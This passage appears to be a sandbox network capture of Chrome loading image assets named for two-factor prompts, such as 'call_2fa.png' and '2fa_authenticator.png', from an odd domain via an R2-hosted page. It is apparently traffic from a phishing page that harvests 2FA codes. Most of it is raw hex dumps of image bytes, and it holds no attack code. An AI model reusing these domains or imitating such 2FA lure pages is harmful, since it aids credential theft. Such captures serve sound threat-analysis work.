Content-Length: 513 Connection: close
2024-10-07 18:59:10 UTC	513	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 32 34 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 31 38 2c 31 31 2e 35 37 38 76 2e 38 34 34 48 37 2e 36 31 37 6c 33 2e 39 32 31 2c 33 2e 39 32 38 2d 2e 35 39 34 2e 35 39 34 4c 36 2c 31 32 6c 34 2e 39 34 34 2d 34 2e 39 34 34 2e 35 39 34 2e 35 39 34 4c 37 2e 36 31 37 2c 31 31 2e 35 37 38 5a 22 20 66 69 6c 6c 3d 22 23 34 30 34 30 34 30 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 31 30 2e 39 34 34 2c 37 2e 30 35 36 6c 2e 35 39 34 2e 35 39 34 4c 37 2e 36 31 37 2c 31 31 2e 35 37 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>assets</title><path d="M18,11.578v.844H7.617l3.921,3.928-.594.594L6,12l4.944-4.944.594.594L7.617,11.578Z" fill="#404040"/><path d="M10.944,7.056l.594.594L7.617,11.57

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.16	49772	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:10 UTC	641	OUT	GET /static/media/message_think.png HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:10 UTC	823	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:10 GMT Content-Type: image/png Content-Length: 810 Connection: close Content-Disposition: inline; filename="message_think.png" Last-Modified: Sat, 04 Nov 2023 15:29:55 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=44lhX%2BZnIBXDk77j8dejQLwvVlSKHsgoXzqXOO7fxa0HaGCw3dPXNKGfSUfRn3uEwgU9v5gLbC0gwWPuz5IGCpeE%2FuiC8%2B4sxjSO1k6oPX4NxjzU3ZE1vEWn6UpS7J%2BZj3UQwBpm00FQoTY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf02075c8bf42b0-EWR
2024-10-07 18:59:10 UTC	546	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 02 76 49 44 41 54 78 9c ed da 31 6e 13 41 18 86 e1 19 93 94 b9 02 57 a0 70 8b 58 23 41 83 10 5d a4 70 1a 38 00 27 a0 44 48 1c 82 22 de 50 73 09 da 14 34 90 d2 4b 93 36 22 0b 7c de 99 e5 79 5a 6b f7 ff 25 bf da f1 4a 2e 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 8f d4 63 0c d9 Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-vIDATx1nAWpX#A]p8'DH"Ps4K6"\|yZk%J.c
2024-10-07 18:59:10 UTC	264	IN	Data Raw: 99 c5 df 59 f5 51 78 1b d5 c7 52 ca c5 d2 bb fc 6f 56 1b 96 a8 96 b5 ca b0 44 b5 bc d5 85 25 aa 36 ac 2a 2c 51 b5 e3 28 6f 85 fb fd 7e d6 eb d8 30 0c 6f 6b ad 6f e6 5c 73 9f a8 0e 87 c3 4d ad f5 e5 38 8e 97 73 ee cd 7c ab 78 62 89 aa 3d dd 87 25 aa 36 75 1d 96 a8 da d5 6d 58 a2 6a 5b 97 61 89 aa 7d dd 85 25 aa 3e f4 16 d6 89 a8 fa b0 f4 bf 1b e6 7a fc 9b cf 7f 94 52 5e 8c e3 f8 e5 18 cb 70 b7 de 9e 58 77 3a 1c 0e 37 d3 34 bd ba ba ba 12 55 03 56 11 96 e3 af 3d dd 87 25 aa 36 75 1d 96 a8 da d5 6d 58 a2 6a 5b 97 61 89 aa 7d dd 85 25 aa 3e 74 15 96 a8 fa d1 4d 58 a2 ea 4b 17 61 89 aa 3f cd 87 25 aa 3e 35 1d 96 a8 fa d5 6c 58 a2 ea 5b ab 61 fd 14 15 ff dc 76 bb 3d 5d 7a 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 e6 17 6a 93 09 f3 a5 c5 f4 ec 00 00 00 Data Ascii: YQxRoVD%6*,Q(o~0oko\sM8s\|xb=%6umXj[a}%>zR^pXw:74UV=%6umXj[a}%>tMXKa?%>5lX[av=]zj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.16	49773	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:10 UTC	639	OUT	GET /static/media/auth_number.png HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:10 UTC	816	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:10 GMT Content-Type: image/png Content-Length: 2382 Connection: close Content-Disposition: inline; filename="auth_number.png" Last-Modified: Sat, 04 Nov 2023 15:30:22 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X81JJrubT6tEYR1m5SY%2BWATx9cHvFiOGmvIHiXqF26OAdi7UzSRc4vRtHcxz8Jo92QBAO0YKb2lbuItu78Uwpg24wQcA1WKw93m5PNicOc6EtlQWU6mtIRSEkN7dbLCT6HFjdBWUOKXnTPY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf02075daca42d1-EWR
2024-10-07 18:59:10 UTC	553	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 08 9a 49 44 41 54 78 9c ed dd 7b 6c 5b 57 1d 07 f0 ef ef dc 3c 48 d2 48 54 eb bc 95 6d a5 b0 b6 e3 d1 81 90 a7 ad 2c ab cf 4d a3 12 aa 55 82 41 bd 3f a7 b1 49 48 55 25 b4 aa d5 ca 26 f1 c7 04 ea 63 2b d0 22 60 e2 a1 21 2a 55 53 f1 84 40 2a 0d 54 8b ed eb b6 50 1e e9 a4 0a a6 0d 36 34 36 26 Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-IDATx{l[W<HHTm,MUA?IHU%&c+"`!US@TP646&
2024-10-07 18:59:10 UTC	1369	IN	Data Raw: d1 07 55 b5 1b c0 3d ce b9 35 22 b2 54 44 c4 5a ab 00 86 00 9c 75 ce 9d 6a 69 69 39 dc df df ff e7 6a c7 d7 d5 d5 d5 d9 d2 d2 b2 a9 58 2c f6 1a 63 3e a1 aa 77 19 63 da 27 cb cf 9d 3b e7 52 a9 d4 1b 00 4e 07 41 70 38 97 cb bd 0c c0 55 db fe 42 d4 d0 c1 5a b7 6e 5d 5b 6b 6b eb 0e 00 5f 06 d0 31 9b 36 ac b5 cb 44 e4 e9 2b 57 ae 3c 2a 22 4b 27 8f 1b f3 bf 59 82 88 08 80 9b 01 f4 04 41 d0 53 2c 16 bf 12 86 e1 4b 41 10 6c 9d ee 19 31 0c c3 3d aa ba 4d 55 3b 83 20 98 6c ef ff ce 31 d7 3a 5b 03 60 8d aa 3e 92 4a a5 5e 35 c6 7c 29 9f cf f7 cf e6 31 2d 04 0d 39 c7 da bc 79 73 bb b5 76 6b 6b 6b eb eb 22 f2 55 11 99 55 a8 c2 30 ec 15 91 bf 00 d8 3e 35 54 d3 99 08 5a 7a 7c 7c fc 4c 4f 4f cf 07 a7 39 fd b3 22 d2 39 93 71 19 63 3e 02 e0 e5 46 be 1f b3 a1 82 95 4a a5 ee Data Ascii: U=5"TDZujii9jX,c>wc';RNAp8UBZn][kk_16D+W<*"K'YAS,KAl1=MU; l1:[`>J^5\|)1-9ysvkkk"UU0>5TZz\|\|LOO9"9qc>FJ
2024-10-07 18:59:10 UTC	460	IN	Data Raw: ad ed 2d 16 8b df 31 c6 c4 dd ed 33 e4 9c 2b cc 70 3c 75 b5 68 83 a5 aa 9f ae f0 ec f0 c0 c4 8d 0e 55 13 91 b7 01 9c 2e 73 fc 4e 00 fb 83 20 78 2e 0c c3 d7 71 6d a7 e8 10 80 11 e7 dc 2d 22 f2 49 11 f9 40 85 b1 40 55 0f 46 51 54 9c c9 78 ea 6d d1 06 cb 18 b3 a2 96 fd 4d bc 35 f4 a1 89 af c9 31 4c 5b 4f 55 ff d4 de de fe 9c c7 a1 79 b1 68 97 1b 54 75 21 dd 9b 18 e7 8d 20 08 7a fb fa fa ae d6 7b 20 33 b5 68 83 05 60 c1 ae 64 4f 2c 75 fc a8 58 2c de 3f b9 b7 bf d1 2c e6 60 79 75 f4 e8 d1 11 11 e9 05 90 41 95 37 5a 38 e7 ae a8 ea 8f 01 dc 9b cf e7 1f 8b 99 ec 37 84 86 9f 63 a9 ea c1 52 a9 f4 fd 72 65 23 23 23 95 7e a1 2b 8b c5 e2 bc 7d d8 7a 67 67 e7 f5 3b 16 34 97 cb 1d 07 70 3c 99 4c 36 77 74 74 ac 13 91 8f 02 58 e5 9c fb ef ab bf 20 08 4a 22 f2 d6 c4 47 ec Data Ascii: -13+p<uhU.sN x.qm-"I@@UFQTxmM51L[OUyhTu! z{ 3h`dO,uX,?,`yuA7Z87cRre###~+}zgg;4p<L6wttX J"G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.16	49775	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:10 UTC	636	OUT	GET /static/media/call_2fa.png HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:10 UTC	825	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:10 GMT Content-Type: image/png Content-Length: 5533 Connection: close Content-Disposition: inline; filename="call_2fa.png" Last-Modified: Sat, 04 Nov 2023 15:30:38 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MlD5ULHQARH1MbBxX%2BBEsU679gfhqGclPF1Bm010A%2BWmRROEeShP3WreV%2F2TPR7s%2FrAc%2B0hTbHBMk%2BmmHVrDeoDFAF5%2FaOgEAYnE5vhWJGMZs8jGlRW2OUzkT2BW7FbwSz4bOzMIHbMQGuE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf0207628ec78e2-EWR
2024-10-07 18:59:10 UTC	544	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 14 e9 49 44 41 54 78 9c ed 9d 79 7c 1c c5 95 c7 df ab 92 2c d9 c8 86 24 48 21 24 f6 8c 15 d6 49 80 64 21 e6 93 25 8b 46 d5 ad 03 47 e0 e5 8c 30 21 2c a7 31 f7 0d 81 10 20 90 70 84 db 1c 31 04 58 43 20 24 9b d8 e6 5a 83 60 65 cf 74 79 ec 05 92 75 58 ae 04 96 c4 d6 88 b0 18 db 24 06 e4 03 cd Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-IDATxy\|,$H!$Id!%FG0!,1 p1XC $Z`etyuX$
2024-10-07 18:59:10 UTC	1369	IN	Data Raw: ce b3 6d 7b 59 10 51 01 00 30 c6 18 22 9e 89 88 af 98 a6 d9 16 75 7c d5 8a 10 e2 7c 00 98 ef 21 2a 20 a2 cf 10 d1 7e 31 86 f5 09 2a b2 2a 14 42 9c 07 00 77 21 62 29 fe 77 21 a2 63 a7 4f 9f fe 51 5f 5f df aa b0 63 ab 66 4c d3 bc 00 00 6e f5 b2 21 22 42 c4 b3 2d cb ba 37 a6 b0 46 25 f6 9f 42 d3 34 cf 21 a2 db 43 ea ee 7e 22 3a 5d 4a 59 08 a9 bf aa 45 08 71 31 22 de e8 65 33 42 54 3f 8d 2b 2e 37 62 15 96 10 62 2e 00 dc eb 35 8c 97 c0 d2 89 13 27 7e bb a7 a7 e7 a3 10 fb ac 2a 84 10 17 21 e2 4d 5e 36 44 44 00 70 ae 94 f2 ce 98 c2 f2 24 36 61 99 a6 39 4f 29 75 4f 00 51 ad 23 a2 d5 00 30 03 11 ff 21 60 f7 8f 37 36 36 ce 59 b4 68 d1 60 99 61 7a 22 84 e8 1e f9 6f c6 18 02 c0 2e 9c f3 a5 cb 96 2d fb bf 88 7c 7e 1f 11 af 0b 60 7a 9e 65 59 61 fd 12 94 4d 4d 1c 4e 0c Data Ascii: m{YQ0"u\|\|!* ~1*Bw!b)w!cOQ__cfLn!"B-7F%B4!C~":]JYEq1"e3BT?+.7bb.5'~!M^6DDp$6a9O)uOQ#0!`766Yh`az"o.-\|~`zeYaMMN
2024-10-07 18:59:10 UTC	1369	IN	Data Raw: 40 88 c2 52 4a 6d 76 9b 63 79 ac 16 4b 46 08 b1 0b 22 a6 01 c0 33 7b 81 88 9e 6b 6a 6a ba 39 6c ff db d3 dd dd cd 37 6c d8 f0 00 22 fe ab 9f ad 6d db f7 66 b3 d9 33 60 9c 8a 0a 20 dc 7d ac 8d 6e 0d 44 f4 f9 10 fd c0 fe fb ef 3f 11 00 9e 04 7f 51 bd c9 39 3f 7c d1 a2 45 9e 59 a7 e5 82 88 7c c3 86 0d 0f 00 40 10 51 2d cc 66 b3 a7 c3 38 16 15 40 88 c2 92 52 6e 52 4a 7d 30 aa 13 c6 a6 08 21 76 09 c3 4f 77 77 37 af ab ab 5b 84 88 29 2f 3b a5 54 bf 52 aa 3d ec 43 6f 17 e6 43 70 51 9d 02 11 de 24 aa 16 42 3d d2 61 8c 79 6d 82 86 92 5d b0 71 e3 c6 0b 11 f1 60 2f 1b 22 ca 21 62 7b 36 9b 7d 2b 0c 9f 01 d8 3b 80 cd 03 3b 8a a8 00 c2 3f 2b 7c c3 a3 d9 2b f9 2f 10 a9 54 6a 2a 11 f9 e5 25 bd ae 94 4a 49 29 ff 54 ae bf b0 20 a2 9f 5b 96 35 17 76 10 51 01 84 9f e8 f7 3f Data Ascii: @RJmvcyKF"3{kjj9l7l"mf3` }nD?Q9?\|EY\|@Q-f8@RnRJ}0!vOww7[)/;TR=CoCpQ$B=aym]q`/"!b{6}+;;?+\|+/Tj*%JI)T [5vQ?
2024-10-07 18:59:10 UTC	1369	IN	Data Raw: 6e 59 ba 74 e9 96 30 7c 16 21 ae 5f 10 d1 89 52 ca 42 b9 3e 9d 9a 59 e7 03 c0 65 88 e8 75 d3 08 9c 34 a3 85 30 f4 c2 97 6b f5 9e b1 40 c5 52 5c a5 94 05 ce f9 31 44 f4 a1 9b 0d 22 ee 3b 30 30 f0 20 84 f4 07 50 c4 cf e2 b1 88 f8 ab 72 93 05 5b 5a 5a 1a 37 6c d8 60 21 e2 4d 7e a2 02 00 40 c4 5a 44 3c 15 00 7e db da da fa d5 72 7c 57 9a 8a 26 c2 f5 f5 f5 fd 2d 99 4c be 85 88 5e f7 0d f7 9a 3e 7d ba ea eb eb 93 61 f8 ec ef ef 1f 98 3a 75 ea a3 01 f6 b9 f6 dc bc 79 f3 d7 93 c9 e4 a3 b9 5c ae e8 91 ab a3 a3 63 1a 11 65 10 f1 eb c5 7e d6 11 e1 b1 c9 64 f2 b9 5c 2e d7 57 ec e7 ab 81 8a 67 58 e6 72 b9 97 93 c9 64 02 3c aa d1 10 91 d1 dc dc fc 4a 5f 5f df 1f c3 f0 19 54 5c 88 38 03 00 be 39 63 c6 8c 25 6b d6 ac 19 35 1b 76 34 4c d3 fc 92 6d db 16 22 36 97 1a 23 22 Data Ascii: nYt0\|!_RB>Yeu40k@R\1D";00 Pr[ZZ7l`!M~@ZD<~r\|W&-L^>}a:uy\ce~d\.WgXrd<J__T\89c%k5v4Lm"6#"
2024-10-07 18:59:10 UTC	882	IN	Data Raw: 7b 65 41 b8 ce c1 e2 64 cc 0b 6b 18 29 e5 7d 88 d8 4e 44 be af 62 31 c6 9a 88 e8 09 c3 30 ee 2d f5 09 96 0a 72 11 63 6c d4 9f 3b 22 fa 68 c2 84 09 6b e3 0e 68 34 c6 8d b0 00 00 a4 94 2b 39 e7 33 89 e8 77 01 3f 72 4a 3e 9f ff b3 61 18 e7 c2 18 f8 bf 10 42 9c 48 44 5e 25 2f ad de de de cd b1 05 e4 41 d5 ff 67 16 4b 3a 9d 7e 7b f2 e4 c9 06 11 3d 12 c4 de 79 03 71 be 61 18 ab 4c d3 fc c4 73 78 d5 82 23 aa fb bd 8e 76 18 63 bf 8c 33 26 2f c6 f4 0a c9 0f d3 34 8f 73 26 f6 81 d2 6a 94 52 8a 31 f6 48 6d 6d ed 45 d5 f4 52 ab 61 18 c7 2b a5 16 fa 9c 17 be 01 00 7b 87 71 c9 36 0c c6 b5 b0 00 fe 7e 0c f4 cb 62 de a4 26 a2 f7 19 63 b7 d6 d7 d7 cf ef e9 e9 f9 20 c2 f0 7c 31 4d f3 38 db b6 1f f0 11 55 9e 88 da 57 ac 58 91 8d 33 36 2f c6 c4 21 74 39 e4 72 b9 8d bb ee ba Data Ascii: {eAdk)}NDb10-rcl;"hkh4+93w?rJ>aBHD^%/AgK:~{=yqaLsx#vc3&/4s&jR1HmmERa+{q6~b&c \|1M8UWX36/!t9r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.16	49776	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:10 UTC	645	OUT	GET /static/media/2fa_authenticator.png HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:10 UTC	828	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:10 GMT Content-Type: image/png Content-Length: 3568 Connection: close Content-Disposition: inline; filename="2fa_authenticator.png" Last-Modified: Sat, 04 Nov 2023 15:30:53 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2Y6Qp440hsqLEccNmjqQc2lFd%2BP9ecAMwmlUStlz8QFKj1DhJblKe37CTzDm6%2BL%2FsjumsbDFCZQJLPQV9ZqQ%2FhrklTh9hlwEkZBXyL5nsLVzJk4uYPgvKmIbgsL9zpB2LWpxyLl9zf5OQWo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf020763e300c7e-EWR
2024-10-07 18:59:10 UTC	541	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 0d 3c 49 44 41 54 78 9c ed 9d 79 90 1e 55 11 c0 7f bb d9 24 64 93 60 38 12 92 70 06 13 20 5c 09 72 a8 80 45 04 91 84 a3 38 3c b0 40 39 0a e5 50 8b 43 a4 10 4b 14 05 21 55 80 22 a5 96 94 a5 c6 40 21 96 72 49 09 18 44 02 48 01 06 a8 04 42 4e ee 04 72 00 c9 e6 3e 77 e3 1f bd 6b d6 b0 df cc 7c Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-<IDATxyU$d`8p \rE8<@9PCK!U"@!rIDHBNr>wk\|
2024-10-07 18:59:10 UTC	1369	IN	Data Raw: 60 2c f2 f4 5a df 64 2b 59 86 2c 56 2a 14 d9 11 49 4b b1 be b9 d6 32 1b bd 2c 8c 86 a7 17 92 7e 62 7d 53 63 91 07 a8 36 b1 55 f8 11 f6 37 33 36 b9 dc c9 a3 01 88 7d e4 1f 0c 4c 43 32 15 42 b3 08 09 be be 0d 2c 41 c2 1b cd c0 76 c0 2e 48 86 e9 68 e4 67 3a 34 6b 81 31 48 f6 6a 45 9d b4 00 2f 12 6e 16 58 0d fc 05 f8 2a d9 a3 de 4d c0 7e c0 c5 c0 3f 80 8d 01 f5 9d 4a 95 76 93 8b ab 08 73 83 66 03 df 44 e7 a5 78 28 92 2d ba 28 90 ee 17 29 e8 dc 50 ec 80 2c af 7d de 94 05 48 b2 5d 2f 0f fa b7 02 57 03 6d 9e 6d 58 4c b5 61 5d 17 13 f1 77 33 3a 80 db 81 81 01 ec 18 8e e4 5a f9 1c 5c d7 06 b0 a3 14 0c c3 5f 20 f4 03 e0 c4 70 a6 fc 8f 73 f0 67 d3 4a 60 48 38 53 8a cb cd f8 b9 01 73 91 95 9c 15 9f c2 5f 36 c6 f5 01 ed 28 24 fd 90 59 45 db f1 2f 21 09 81 d6 ec 03 bc Data Ascii: `,Zd+Y,VIK2,~b}Sc6U736}LC2B,Av.Hhg:4k1HjE/nXM~?JvsfDx(-()P,}H]/WmmXLa]w3:Z\_ psgJ`H8Ss_6($YE/!
2024-10-07 18:59:10 UTC	1369	IN	Data Raw: 49 d6 4a 6c c3 b5 d6 0a 64 e0 5d cb 2f 9f 85 7d 0a 6d 16 99 4f 3c 69 3e 67 62 ef 8f 2c f2 05 17 23 5d 8b cc cf 72 bc 3e 14 23 91 9a e7 d6 0c 46 8a 90 14 81 39 96 5f 7e 3d f6 4f 56 56 69 47 56 89 56 34 03 8f f6 a0 57 8c b2 09 e3 fa 0d 9a 2d 77 43 c8 0a e0 10 2f 9e 48 e7 b6 8c 3a c6 20 a6 b3 15 48 5f 3c 6b 27 d4 2b 8b 80 83 7c 38 a3 06 4d c0 4d 1e ec f0 29 0f 78 f1 44 1d b4 20 e5 15 ad 1d 51 af 2c 43 4a 5b fa a6 2f 7a 9d 53 43 4a 14 75 64 9f c2 de 11 79 64 33 b2 ec f7 d5 b3 71 14 f0 42 04 76 e6 91 e3 3d f8 a3 6e 6e c6 de 11 2e 32 1d 29 ed a8 45 2b 70 1d c5 ac 72 b8 05 d9 1f 8c 22 dd e8 8b d8 3b 43 43 1e 43 56 8d 79 b3 3a 87 00 d7 20 85 72 ad 6d 71 91 d9 39 ed 57 67 37 ec 9d a1 29 0b 81 db 91 92 dc bb 24 d8 dd 1b 59 04 5c 8a 1c 3e dd 14 81 ee 1a 32 29 c1 e6 Data Ascii: IJld]/}mO<i>gb,#]r>#F9_~=OVViGVV4W-wC/H: H_<k'+\|8MM)xD Q,CJ[/zSCJudyd3qBv=nn.2)E+pr";CCCVy: rmq9Wg7)$Y\>2)
2024-10-07 18:59:10 UTC	289	IN	Data Raw: 56 bb a2 03 a9 f7 55 9d a1 8c 8c 5d 91 d6 25 69 37 70 23 f2 ee b5 93 67 7d fa 20 15 89 97 66 d0 e9 43 e0 24 cf fa 54 38 d0 82 ec b1 65 29 6f bd 0a 99 21 b4 d3 78 9b 81 2f 91 bd 24 f9 c3 48 a3 a7 8a 02 70 20 12 cf ca 72 63 db 90 1c f2 53 70 fb 19 3a 00 79 8f 7b b3 8e ef bd d0 e1 fb 2a 8c e8 0d fc 98 f4 17 fb ee b2 00 59 69 5e 0e 1c 85 a4 e6 f4 54 f3 60 47 e4 5d ed 12 a4 3a 74 bd 2d 4c 1e 42 e2 58 15 05 e6 50 e0 15 ea bb f1 db ca 72 e0 0d 24 f6 e4 52 87 7d 19 d2 4b a7 a2 24 f4 05 ae 45 8e 93 b9 0c b0 bc d2 8e fc dc 0e f3 6d 68 85 0d bb 21 4b ff 0d 84 19 50 1d c8 cf 5e 43 54 7b a9 90 fe 81 13 91 33 8b 3e 06 d4 2a a4 07 e0 98 50 06 55 c4 45 